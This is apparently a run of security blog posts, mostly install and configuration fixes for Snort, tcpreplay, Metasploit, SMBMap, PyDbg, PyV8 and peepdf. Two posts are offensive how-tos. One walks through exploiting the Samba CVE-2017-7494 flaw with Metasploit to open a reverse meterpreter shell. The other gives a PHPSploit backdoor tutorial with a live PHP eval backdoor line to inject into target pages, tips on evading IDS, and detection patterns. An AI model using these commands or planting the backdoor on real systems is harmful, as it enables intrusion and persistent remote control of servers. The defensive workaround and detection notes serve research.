Assuming if you've here, by now you already might have encountered an error while loading snort to run as a daemon or testing your snort.conf configuration file for any syntactical errors (if any). To verify whether your instance of snort runs fine, we verify this by executing these commands:

$snort -V # Check your installed version of snort
$sudo snort -c /etc/snort/snort.conf -T  #Validates your snort instance for errors

This would tell you if all your configs are fine and passing. If not, this throws an exeception saying about the relevant error message in a more verbose fashion. Of late I had to upgrade my snort from some older release to 2.9.8.3 (installed through snort source files). Once the installation was over, while I verified if everything is perfect before I perform any tests or so, as usual I ran the command to check my configurations for any errors:

$sudo snort -c /etc/snort/snort.conf -T

Unfortunately I came across with an error message saying:

ERROR size 1240 != 1120
ERROR: Failed to initialize dynamic preprocessor: SF_FTPTELNET version 1.2.13 (-2)

As far as the debugging/solving this issue is concerned, my first step was to verify if there are any significant changes in the path configurations between the older agaist the 2.9.8.3 snort instance. And I couldn't come up with any significant config changes which could have solved the problem right away. Digging more further I could see that there was a minor glitch which was failing the whole configuration check process to fail. It was the dynamicpreprocessor directory path configuration which was the root cause. In my snort instance of older snort, the path was being set to:

/usr/lib/snort_dynamicpreprocessor/

To fix this error I simply had to do the following replacement inside the snort.conf file and it all started working flawless. :)

Erroneous entry:

dynamicpreprocessor directory /usr/lib/snort_dynamicpreprocessor/

Fixed path:

dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/

Run the same config check command and you should come with the following message which states that now you have a running snort instance!

Snort successfully validated the configuration!
Snort exiting

Hope this helps someone in some ways.

Cheers!

It looks like of late a spree of critical bugs are giving many sleepless nights to several product vendors/researchers! WannaCry is still on the verge and not over yet and then came Adylkuzz. While people are busy fixing their network for those, yet another Samba bug came and can have devastating impacts on the end-user. The flaw is triggered while an arbitrary shared library is being loaded which further leads to a nice remote code execution into the target applcation context. The bug is extremely simple to reproduce via a one-liner using Metasploit (as per HD Moore's tweet). Anyways here I would be explaining the method on how to exploit this vulnerability on a standard Ubuntu installation and how you can pop a meterpreter session of the target machine. For reproducing this bug I've used the followings:

• Ubuntu 16.04
• Metasploit Framework
• Exploit Module (https://goo.gl/g6e8OU)
• Samba v4.5.9 (one of the vulnerable version)

Let's have a walk-through on how to exploit this bug using metasploit. After the sequence of few commands, I've shared few images and some attack session packet traces (pcaps). This should be helpful for the security researchers out there to come up with the right protections for their corporate products. Lets's get started..

Setup exploitable samba:

$ssh user@target_ip
$cd ~/Desktop
$wget -c "https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz"
$tar -zxvf samba-4.5.9.tar.gz
$cd samba-4.5.9
$./configure && make # You need to install libraries here, if required
$sudo make install

#Verify the target version
$./bin/smbd -V

#Start the samba listerner (without running as a daemon) with more debug info
# You may choose the smb.conf which is already present inside testdata directory
$sudo ./bin/smbd -i --debuglevel=6 --configfile=./testdata/samba3/smb.conf

Run these set of commands on attacker host:

$cd ~/metasploit-framework/
$git pull
$./msfconsole
use exploit/linux/samba/is_known_pipename
show options
set payload windows/meterpreter/reverse_tcp
set rhost <target_ip>
exploit
boom!! # Enjoy your popped meterpreter session ;)

Below are some of the exploit run screenshots you can refer as well:

Step 01: Launch msfconsole and choose exploit


Step 02: Check target ip and samba version


Step 03: Start samba listener for expoitation:


Step 04: Set Payload and launch exploit!


Step 05: popped shell (meterpreter) !!


Needless to say, how critical and devastating this bug can be in real world environment. If you don't have a appopritate fix, you can have a temporary workaround by adding the following inside [global] directive (file: smb.conf):

nt pipe support = no

Additionally, there are some ITW Python based proof of concepts. Make sure you have the right vulnerable version along with the patched impacket if you want to reproduce the Python exploit variant.


Packet capture:
You can download the packet capture of this attack session for your further analysis from here. This should be helpful for some security researchers out there!


References:

https://isc.sans.edu/diary.html
https://github.com/rapid7/metasploit-framework/pull/8450
https://github.com/omri9741/cve-2017-7494
https://securityonline.info/cve-2017-7494-samba-remote-code-execution-vulnerability/
https://community.rapid7.com/community/infosec/blog/2017/05/25/patching-cve-2017-7494-in-samba-it-s-the-circle-of-life


Peace!!..

Peeps, it's been a long time that unfortunately, I've not updated any contents into my blog. Things have been really going different since a couple of months thus I couldn't figure out any free time out of my crazy schedules. And then got occupied with some WannaCry stuffs. Anyways finally I am back with some more contents and this time I have some good buffer time with me. Hopefully, you should be seeing some more frequent updates going forward. At the same time, I am planning to launch my own YouTube channel for which I am preparing some interesting contents. Looking forward to launching it soon! Hope you like them.

Now coming back to the business. Today I would be sharing the easy steps on how you can perform tcpreplay installation (on Linux) from its source package in-stead of relying on apt-get method as that would not install the latest version for you which got many more fixes and security patches.

To give you an idea about the tool before we start, tcpreplay is a pcap replay tool which got many awesome features. A few mention out of all enormous features, you can modify PCAP parameters on the fly before performing packet replays as per your network setup environment, perform quick replays and much more. The list would go on and on. The latest version of tcpreplay got many security fixes, patches thus making it more stable than the earlier builds.

The older version of tcpreplay (around ~3.x) had many issues to replay a bunch of pcaps and that was a time when I had to perform a large scale automation. That's when I realized that tcpreplay v3.x is not enough to get the things done as many of the packet captures were not replayed successfully even though the packets were looking absolutely fine at the first place. And once I upgraded to the 4.2.x version (mine is v4.2.4 by the time of this blog post), all those replay errors were simply gone. So if you try to install tcpreplay via aptitude on Ubuntu (my preferred OS), better you avoid that and follow the source installation in-stead. I would explain the process on how to do it the easier way. Let's get started.

Install development libraries:

$sudo apt-get install -y libdumbnet-dev libpcap-dev libnet1 libnet1-dev
$sudo updatedb && sudo ldconfig

Download sources:

$sudo apt-get update
$cd /tmp
$wget -c "https://downloads.sourceforge.net/project/tcpreplay/tcpreplay/4.2.6/tcpreplay-4.2.6.tar.gz?r=https%3A%2F%2Fsourceforge.net%2Fprojects%2Ftcpreplay%2F&ts=1495545608&use_mirror=excellmedia" -O "tcpreplay_426.tar.gz"
$tar -zxvf tcpreplay_426.tar.gz

Compile and install:

$cd /tmp/tcpreplay_426
$./configure && make && sudo make install

Verify your installation:

$tcpreplay -V

You should be getting the verbose details of your tcpreplay instance along with the linked libdnet and libpcap version details.

Thats all!

Have fun. Cheers!

If you are reading this blog post then its obvious that you are having issues while initializing msfconsole on your terminal. This problem happens whenever you pass a NULL value to the database.yml file which is considered to be a vital config file while msfconsole initiailizes itself.

Even if your postgresql service is running successfully and the following command works pretty well, db_connect msf:msf@127.0.0.1/msf chances are, by-mistake you have left the database.yml file intact without any password value. There are probably many other fixes to solve this issue. However below is a small step which you must check before proceeding further to debug this issue deeper.

Launch your vim and do the following:

$ sudo vim /opt/metasploit-framework/config/database.yml
production:
 adapter: postgresql
 database: msf
 username: msf
 password:
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5

If you see the password field is left blank. Put the password which you've given while installing your copy of metasploit from the git repo. Once you feed the details, restart postgresql service and you should not be having the fe_sendauth no password supplied error anymore.

Hope it helps somebody some way or the other.

Hey! Offlate I spent some hours to understand the PHPSploit backdoor. The backdoor looks pretty interesting in terms of payload delivery and at the same time doing the same in a stealthy way. Trust me, it does the job pretty nicely. I will add some small excerpts on what it does in the below paragraphs. I won't spend much time explaining the internal architecture of this tool since that would be extremely time taking and would be beyond the scope of this post. I would rather choose another separate page to discuss the core technicalities to break down the Python source code. Sometimes down the line I would break down this tool by explaining the source code on a high-level e.g. how the data is encoded, techniques, Python classes//methods etc. However this post is all about understanding how this tool works, what this tool is all about, its installation procedure, exploitation methods etc. Let's not waste time and dig into it right away. :)

About PhpSploit

As per the tool author, PhpSploit is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.

After the successful exploitation (once you inject the backdoor function call to an arbitrary PHP document) you get a remote tunnel through HTTP protocol. I will share some screenshots below which would help you to understand more in-depth.

Tool overview:

- Post-exploitation
- Privilege escalation in a stealthy manner
- Exec commands 
- Bypass PHP security restrictions
- Edit remote files through local text editor 
- Polymorphic by nature
- HTTP/HTTPS/SOCKS4/SOCKS5 proxy support and many more!

Tool dependencies

- Ubuntu (preferable)
- Python v3.x
- pyparsing
- readline
- pyserialize
- colorama
- shnake

Why stealthy?

• Uses HTTP GET (in-stead of POST) method to perform attack payload delivery which is basically ignored by the network log analysts in most of the cases.
• Absence of HTTP POST related data or any suspicious GET URI parameters or POST message body attack payloads. This could help bypass some IDS or IPS devices (unless you have a rule/signature to fingerprint this behavior).
• Attack payload is being sent through the Base64 encoding routines.

Installation

You can either use git or wget to download the package from the original repository. You can try the below procedure to make this tool up and running!

$cd /tmp
$wget https://github.com/nil0x42/phpsploit/archive/master.zip
$unzip -d [path2extract] master.zip
$cd phpsploit-master
$./phpsploit
phpsploit>

Once this step is done you need to find a target where the malicious PHP function call is injected. Remember, this is the main step on which the complete tool relies at the first place! If you want to test this tool locally, you can set up a LAMPP stack and create a new page in the web root directory and add this code snippet against that PHP document.

<? @eval($_SERVER['HTTP_PHPSPL01T']) ?>

Once the above step is done, you need to setup a target host IP where you want to launch the attack in. You can follow the below command line procedure to accomplish this:

$cd phpsploit-master 
phpsploit > set [Show the default configs before launching the attack]
phpsploit > set TARGET "http://target_ip:port/injected.php" [Exploit func call must be here]
NOTE: You can change the **BACKDOOR** variable value but make sure 
      you know exactly what you are doing.
phpsploit > exploit and Voilla! Now you have a shell to play around with.

Now let's understand what exactly happened at the infected host and what we actually sent over the wire!

Quick observations

• An HTTP GET request to the target PHP page (backdoor.php) where the
  exploit function call was injected.
• Base64 encoded payload along with some arbitrary non-RFC compliant
  headers.
• HTTP Header values contain the encoded version of some PHP source
  codes which is doing all the magic internally!

TCP Data (HTTP)

• Shape1, points to an HTTP GET request to the target PHP page (backdoor.php) where the exploit function call was injected.
• Shape2, points to the Base64 encoded payload.

If you want to fingerprint this behavior through your IDS/IPS devices there are few ways you can do that. However you need to be sure that if HTTPS being used in-stead of HTTP you need to decrypt the ssl-encrypted payload (provided your device supports this module). SSL payload inspection is a very performance intensive process and most devices avoid that at the first place unless you enable this module explicitly!

Detection Logic

• A Non-RFC compliant header e.g. "Zz:" followed by random 2 bytes characters.

PCRE: "ZZ[a-za-z]:|20|base64_data"

• HTTP Header has an unique identifier e.g. Phpspl01T

PCRE: "Phpspl01T:|20|eval\(base64_decode\(JHM9JF9"

NOTE: Detection might vary though based on their future upgrades. In that case you need to make necessary changes to your signature database accordingly.

References

https://github.com/nil0x42/phpsploit
https://en.wikipedia.org/wiki/Backdoor_Shell

Thats all for now! If you have any questions, feedback or comments then please do so. I would be happy to see how the post is paying off in your research.

Happy B4ckd00ring! :-)

While it comes to SMB shares/files enumeration inside Linux we can make use of tools i.e. nmap, smbclient. However there is a new addition to the group of SMB shares mapping tools. Its being named as SMBMap and is totally based on Python as the source language. Plus its GPL v3 based which is again cool. The tool uses impacket library as its core dependency plus you need to have python-asn1 libary installed on your host. If you don't have the required dependencies then you might want to execute the following set of commands:

Tool dependencies:

* python-pyasn1
* impacket

Installation steps:

$sudo apt-get update
$sudo apt-cache search python-pyasn1 # Package must be available on your apt source
$sudo apt-get install python-pyasn1
$cd /tmp/
$wget https://github.com/CoreSecurity/impacket/archive/master.zip -O impacket.zip #Recently they git'd
$unzip -d . impacket.zip
$cd impacket-master
$sudo python setup.py install
$wget https://raw.githubusercontent.com/ShawnDEvans/smbmap/master/smbmap.py
$chmod a+x smbmap.py && cp smbmap.py /usr/local/bin/smbmap.py *#Optional step, PS: You may create softlink if you want*
$cd /usr/local/bin/
$python smbmap.py *#You should come acorss with its paramater usages if its all good above*

Usage examples:

#View Remote SMB shares and their permissions in a tabular format
$python smbmap.py -u <username> -p <password> -H <ip_addr>
#View directory contents along with permissions details recursively 
$python smbmap.py -u <username> -p <password> -H <ip_addr> -r

Hope it helps!

No doubt, PyDbg is a lovely User-Mode (Ring3) debugger available which is open source and completely scriptable in Python. If you want to parse the exe, decode instructions on the fly then this is the right choice for you! You can even code your own API Hooking, Monitoring tools (can be extended in various ways though) through PyDbg. However, today I will be explaining you the method on how we can install PyDbg and get our hands dirty. I have seen cases where most of the user’s get stuck while installing this tool. Even though the installation method is quite straight forward but proceeding with the wrong way can screw up your Python installation sometimes. Although PyDbg is supported for Python v2.4 only but there are various ways we can follow to run PyDbg even in Python v2.5 and so on. This post will focus on Python v2.4 version only.

To install PyDbg we need to have 3 packages handy with us:

• Python v2.4, of-course!
• PaiMei Framework (Download)
• ctypes (Download)

For the time being I am considering that you have chosen your default Python installation directory as “C:\Python24\”. Now we need to install Ctypes and PaiMei respectively.
NOTE: Correct order is necessary otherwise we might end up with a faulty installation!

• Run the ctypes installer executable, follow the instructions accordingly.
• Once the ctypes is installed successfully, extract the PaiMei zip archive file and cd to the directory where “setup.py” file is present.
• Once you are inside that directory (where you see setup.py is present in PWD), issue the following command to install the PaiMei framework into your host.

C:\Users\UserID\Desktop\PaiMei\python setup.py install

• If all goes well, then you have successfully installed PaiMei along with the PyDbg framework in your host! But do remember that if ctypes libraries are not installed properly, PaiMei installer won’t let you install itself into your target machine.

Once the installation is done, it time to check if you have successfully installed PyDbg into your host or not. In order to do that let’s write a small Python code (dbgtest.py) snippet for a test run and check if it gives us the desired output in the console.

from pydbg import *

dbgObj = pydbg()  # Create PyDbg object
print dbgObj.enumerate_processes()# Lists all the current running processes along with the PIDs.

If it lists out all the running processes which are all running in your host currently, then you have successfully installed PyDbg.



Happy debugging!

PyV8 is a Python wrapper module to perform JavaScript emulation on the fly like the way we do in SpiderMonkey. But, if you are having a hard-time configuring/compiling PyV8 sources then its always recommended to use the compiled binaries. If you are able to compile the V8 sources successfully without any errors then you don’t have to follow the below steps. The below steps are for those who were unable to import the PyV8 module into their Python interactive console. Please follow the below steps accordingly.

Generally below is the location where the Python v2.x modules are stored:

/usr/lib/python2.7/dist-packages/

You can fetch the list of PyV8 sources from the below URL:

https://code.google.com/p/pyv8/downloads/list?can=1

Download the appropriate package which suits your OS flavor. Extract the files into your desktop and copy both the files i..e “PyV8.py” and “_PyV8.so” to the location from where Python looks for the presence of modules. You can follow the the below steps if it was confusing at the first place.

$ cd ~/tmp/
$ wget -c "https://raw.githubusercontent.com/emmetio/pyv8-binaries/master/pyv8-linux32.zip"
$ unzip pyv8-linux32.zip
$ sudo cp *PyV8* /usr/lib/python2.7/dist-packages/

Afterwards to verify if you can import the wrapper module successfully, fire your Python console and import PyV8 Module. If you are able to see the output like below then you are all set!

    testuser@xylux:~$ python
    Python 2.7.6 (default, Apr 10 2015, 08:20:38) 
    [GCC 4.8.2] on linux2
    ...
    >>> import PyV8
    >>> dir(PyV8)
    ['AST', 'DontDelete', 'DontEnum', 'HAS_UTF8', 'Internal', 'JSAllocationAction', 'JSArray', 'JSAttribute', 'JSClass', 'JSClassConstructor', 'JSClassPrototype', 'JSContext', 'JSDebugEvent', 'JSDebugProtocol', 'JSDebugger', 'JSEngine', 'JSError', 'JSExtension', 'JSFunction', 'JSIsolate', 'JSLocker', 'JSObject', 'JSObjectSpace', 'JSProfiler', 'JSScript', 'JSStackFrame', 'JSStackTrace', 'JSUnlocker', 'JS_ESCAPABLE', 'MAXYEAR', 'MINYEAR', 'ReadOnly', 'StringIO', 'TestAST', 'TestContext', 'TestDebug', 'TestEngine', 'TestMultithread', 'TestProfile', 'TestWrapper', '_PyV8', '__all__', '__author__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__version__', '_js_escape_unicode_re_callack', 'collections', 'convert', 'date', 'datetime', 'datetime_CAPI', 'func_apply', 'is_py3k', 'js_escape_unicode', 'json', 'logging', 'os', 'print_function', 'profiler', 're', 'sys', 'thread', 'time', 'timedelta', 'toNativeString', 'toUnicodeString', 'traceback', 'tzinfo', 'unittest', 'with_statement']

If you use peepdf tool as one of your weapon to analyze malicious PDF documents then you might have come across with an error related to libemu python wrapper module imports. Well the funny fact is even if you have installed libemu and the python wrapper around it, its very surprising if you still come across with such errors! Basically the libemu import error comes while we try to load a PDF document into PPDF (peepdf tool) interactive command line context. The error looks like this:

Error: pylibemu is not installed!!

Well its a pretty straight forward error which says the program couldn’t import the pylibemu module. The reason we get this error is, in Python v2.7 the module gets a new name i.e. libemu only, which is the root cause for this error. To fix this problem you just need to push a slight code change to a python file i..e “PDFConsole.py”. Once you open that Python source file “PDFConsole.py” you will encounter a line like this:

    try:
      import pylibemu
      EMU_MODULE = True
    except:
      EMU_MODULE = False

You just need to modify the module name there (since the module name name is a different one) and you are all set to perform shellcode detection against your loaded PDF document. The modified code would look like this:

    try:
        import libemu
        EMU_MODULE = True
    except:
        EMU_MODULE = False

Have fun!